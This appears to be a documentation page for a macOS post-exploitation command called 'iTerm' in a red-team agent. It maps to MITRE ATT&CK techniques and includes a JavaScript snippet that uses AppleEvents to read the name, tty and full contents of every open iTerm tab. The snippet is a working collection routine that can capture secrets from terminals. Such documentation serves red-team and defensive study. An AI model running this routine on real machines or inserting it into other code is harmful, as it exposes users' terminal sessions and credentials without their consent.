Skip to main content

​
Summary

Read the contents of all open iTerm tabs if iTerms is open, otherwise just inform the operator that it’s not currently running
  • Needs Admin: False
  • Version: 1
  • Author: @its_a_feature_
In Mojave+ (10.14+) this will cause a popup the first time asking for permission for your process to access iTerm.

​
Arguments

​
Usage

iTerm

​
MITRE ATT&CK Mapping

  • T1139
  • T1056

​
Detailed Summary

This uses AppleEvents to read the contents of iTerm tabs: 
if(term.running()){
    for(let i = 0; i < term.windows.length; i++){
        let window = {};
        for(let j = 0; j < term.windows[i].tabs.length; j++){
            let tab_info = {};
            tab_info['tty'] = term.windows[i].tabs[j].currentSession.tty();
            tab_info['name'] = term.windows[i].tabs[j].currentSession.name();
            tab_info['contents'] = term.windows[i].tabs[j].currentSession.contents();
            tab_info['profileName'] = term.windows[i].tabs[j].currentSession.profileName();
            window["Tab: " + j] = tab_info;
        }
        output["Window: " + i] = window;
    }
}